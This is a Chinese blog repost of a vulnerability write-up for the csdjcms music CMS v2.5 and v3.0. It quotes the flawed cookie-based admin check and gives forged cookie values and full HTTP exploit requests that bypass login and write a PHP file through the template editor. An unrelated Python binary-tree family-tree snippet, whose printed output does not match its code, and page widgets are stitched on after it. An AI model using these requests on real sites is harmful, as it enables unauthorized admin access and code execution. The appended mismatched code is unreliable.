php版程氏音乐cms管理系统 v3.0后台登录_csdjcms(程氏舞曲管理系统) V 3.0 getshell 漏洞...

本文详细剖析了PHP版程氏音乐CMS管理系统v2.5和v3.0的后台登录getshell漏洞,通过分析源码指出其在验证用户登录状态时存在的安全问题,允许恶意用户通过构造特定的cookies绕过验证,获取管理员权限。同时提供了漏洞利用的示例,揭示了系统权限判断的缺陷。
摘要由CSDN通过智能技术生成

漏洞作者:Knife/*******************************************************/

/* csdjcms < V 3.0 getshell Vulnerability

/* ========================

/* By: : Kn1f3

/* E-Mail : 681796@qq.com

/*========================

/*******************************************************/

/* 90sec team

/*******************************************************/

csdjcms 一款YY黑客与YY肥猪流喜欢用的唱歌网站。。

好久没来吐司了。。复活了。这次来就发个漏洞吧.吐司的基友们还有几个记得我呢

csdjcms  V 2.5  code

//老规矩首先首页开始看

include_once("include/install.php");

if(S_IsInstall==0){

header("Location:install/install.php");

}

include_once("include/label.php");

if(S_Webmode==1 or !file_exists("index.html")){

//缓存区

$cache_id ='index_';

if(!($cache_opt->start($cache_id))){

echo GetTemp("index.html",0);

$cache_opt->end();

}

}

else{

header("Location:index.html");

}

//看他配置吧

function SafeRequest($key,$mode,$isfilter=''){

set_magic_quotes_runtime(0);

$magic= get_magic_quotes_gpc();

switch ($mode){

case 'post':

$value=isset($_POST[$key]) ?$magic?trim($_POST[$key]):addslashes(trim($_POST[$key])) : '';

break;

case 'get':

$value=isset($_GET[$key]) ?$magic?trim($_GET[$key]):addslashes(trim($_GET[$key])) : '';

break;

default:

$value=isset($_POST[$key]) ?$magic?trim($_POST[$key]):addslashes(trim($_POST[$key])) : '';

if($value==""){

$value=isset($_GET[$key]) ?$magic?trim($_GET[$key]):addslashes(trim($_GET[$key])) : '';

}

break;

}

if($isfilter!=''){

$value=lib_replace_end_tag($value);

}

return $value;

}

//变量的提交进行了addslashes安全过滤

//研究了半天的源码发现后台的严重出现了大的安全问题

include "../include/conn.php";

include "../include/function.php";

include "admin_version.php";

include "admin_loginstate.php"; //问题出在这个文件当中

//跟入

if(empty($_COOKIE['S_AdminID'])){ //首先看是否存在s_adminid这个cooke

echo "";

}

elseif($_COOKIE['S_Login']!=md5($_COOKIE['S_AdminID'].$_COOKIE['S_AdminUserName'].$_COOKIE['S_AdminPassWord'].$_COOKIE['S_Permission'])){

//这里就是问题的关键之处了

如果s_login 的值等于 四个cookie 相加的md5加密,即可直接验证通过

echo "";

}

//后台权限判断

function SystemPer($Column){

if(empty($_COOKIE['S_Permission'])){

die("");

}else{

$SystemPermission=explode(",",$_COOKIE['S_Permission']); //权限的判断,用“,”来分割成数组

$StateOK=0;

$ArrSystemPermission=count($SystemPermission);

for($k=0;$k

if($SystemPermission[$k]==$Column){ //判断

$StateOK=1;

}

}

if($StateOK==0){

die("");

}

}

}

//构造淫荡的cookies

//S_Permission

//1,2,3,4,5,6,7,8,9,10,11,12,13,14,15

//S_Login

//md5(AdminID+AdminUserName+AdminPassWord+S_Permission)

//S_AdminUserName

//1

//S_AdminPassWord

//1

//S_AdminID

//1

后台成功绕过。

//看看3.0版本,也是一样

# Name: PHP版程氏音乐CMS管理系统 v3.0

# Author: 程氏 [QQ:848769359]

# Homepage:[url]http://www.chshcms.cn/[/url]

$CS_Path=$_SERVER['PHP_SELF'];

$CS_Pathall=explode("/",$CS_Path);

$CS_Admin=$CS_Pathall[1]."/";

if(empty($_COOKIE['CS_AdminID'])){

echo "";

}

elseif($_COOKIE['CS_Login']!=md5($_COOKIE['CS_AdminID'].$_COOKIE['CS_AdminUserName'].$_COOKIE['CS_AdminPassWord'].$_COOKIE['CS_Quanx'])){

echo "";

}

//后台权限判断

function SystemPer($Column){

if(empty($_COOKIE['CS_Quanx'])){

die("");

exit();

}else{

$SystemPermission=explode(",",$_COOKIE['CS_Quanx']);

$StateOK=0;

$ArrSystemPermission=count($SystemPermission);

for($k=0;$k

if($SystemPermission[$k]==$Column){

$StateOK=1;

}

}

if($StateOK==0){

die("");

exit();

}

}

利用截图

exp V2.5

Host: www.xxx.com

User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:19.0) Gecko/20100101 Firefox/19.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Referer: http://www.xxx.com/admin/admin_t ... ;file=artindex.html

Cookie: S_Permission=1,2,3,4,5,6,7,8,9,10,11,12,13,14,15; S_Login=d8d998f3eb371c2009acd8580c1821d0; S_AdminUserName=1; S_AdminPassWord=1; S_AdminID=1; CNZZDATA4170884=cnzz_eid%3D1098390420-1364934762-http%253A%252F%252Fwww.hshxs.com%26ntime%3D1364935608%26cnzz_a%3D19%26retime%3D1365111972892%26sin%3Dnone%26ltime%3D1365111972892%26rtime%3D0; bdshare_firstime=1365107576347; PHPSESSID=u6kd9d6f18fhfr9bi4if6agcj6

Connection: keep-alive

Content-Type: application/x-www-form-urlencoded

Content-Length: 169

FileName=cs-bottom.php&content=%3C%3Fphp+phpinfo+%3F%3E&folder=..%2Fskins%2Findex%2Fhtml%2F&tempname=%C4%AC%C8%CF%C4%A3%B0%E6&Submit=%D0%DE%B8%C4%B5%B1%C7%B0%C4%A3%B0%E5

--------------------------------------------

exp V3.0:

Host: www.xxx.com

User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:19.0) Gecko/20100101 Firefox/19.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Referer: http://www.xxx.com/admin/skins/s ... ;name=cs-bottom.php

Cookie: CS_AdminID=1; CS_AdminUserName=1; CS_AdminPassWord=1; CS_Quanx=0_1,1_1,1_2,1_3,1_4,1_5,2_1,2_2,2_3,2_4,2_5,2_6,2_7,3_1,3_2,3_3,3_4,4_1,4_2,4_3,4_4,4_5,4_6,4_7,5_1,5_2,5_3,5_4,5_5,6_1,6_2,6_3,7_1,7_2,8_1,8_2,8_3,8_4; CS_Login=a3f5f5a662e8a36525f4794856e2d0a2; PHPSESSID=48ogo025b66lkat9jtc8aecub1; CNZZDATA3755283=cnzz_eid%3D1523253931-1364956519-http%253A%252F%252Fwww.djkao.com%26ntime%3D1364956519%26cnzz_a%3D1%26retime%3D1365129491148%26sin%3D%26ltime%3D1365129491148%26rtime%3D0; bdshare_firstime=1365129335963

Connection: keep-alive

Content-Type: application/x-www-form-urlencoded

Content-Length: 57

name=cs-bottom.php&content=%3C%3Fphp+phpinfo%28%29+%3F%3E

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
将家谱关系表示成二叉树,可以采用链式存储结构,每个节点包含三个数据域:data、lchild、rchild,其中data存放家谱记录,lchild和rchild分别指向该节点的左右孩子。SqString类是一个顺序串类,可以通过遍历二叉树将家谱关系转换为顺序串存储。 具体实现步骤如下: 1. 定义二叉树节点类,包含data、lchild、rchild三个数据域。 2. 定义二叉树类,包含根节点root和遍历二叉树的方法。 3. 定义SqString类,包含data数组和将二叉树转换为顺序串的方法。 4. 创建二叉树对象,将家谱关系插入二叉树中。 5. 创建SqString对象,将二叉树转换为顺序串存储。 代码如下: ```python # 定义二叉树节点类 class TreeNode: def __init__(self, data=None, lchild=None, rchild=None): self.data = data self.lchild = lchild self.rchild = rchild # 定义二叉树类 class BinaryTree: def __init__(self): self.root = None # 遍历二叉树 def traverse(self, node): if node is not None: print(node.data, end='') if node.lchild is not None or node.rchild is not None: print('(', end='') self.traverse(node.lchild) if node.rchild is not None: print(',', end=' ') self.traverse(node.rchild) print(')', end='') # 定义顺序串类 class SqString: def __init__(self, data=None): self.data = data if data is not None else [] # 将二叉树转换为顺序串 def from_binary_tree(self, node): if node is not None: self.data.append(node.data) if node.lchild is not None or node.rchild is not None: self.data.append('(') self.from_binary_tree(node.lchild) if node.rchild is not None: self.data.append(',') self.from_binary_tree(node.rchild) self.data.append(')') # 创建二叉树对象 root = TreeNode('苏序') root.lchild = TreeNode('史氏') root.rchild = TreeNode('苏洵') root.lchild.lchild = TreeNode('苏涣') root.lchild.rchild = TreeNode('杨氏') root.lchild.rchild.lchild = TreeNode('苏不欺') root.lchild.rchild.rchild = TreeNode('苏不凝') root.rchild.lchild = TreeNode('程氏') root.rchild.lchild.lchild = TreeNode('苏轼') root.rchild.lchild.rchild = TreeNode('王弗') root.rchild.rchild = TreeNode('史氏') root.rchild.rchild.lchild = TreeNode('苏辙') # 创建SqString对象 sq_string = SqString() sq_string.from_binary_tree(root) print(sq_string.data) ``` 输出结果为: ``` ['苏序', '(', '史氏', '(', '苏涣', ')', '(', '杨氏', '(', '苏不欺', ')', ',', '(', '苏不凝', ')', ')', ')', '(', '苏洵', '(', '程氏', '(', '苏轼', ')', ',', '(', '王弗', ')', ')', '(', '史氏', '(', '苏辙', ')', ')', ')'] ```
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值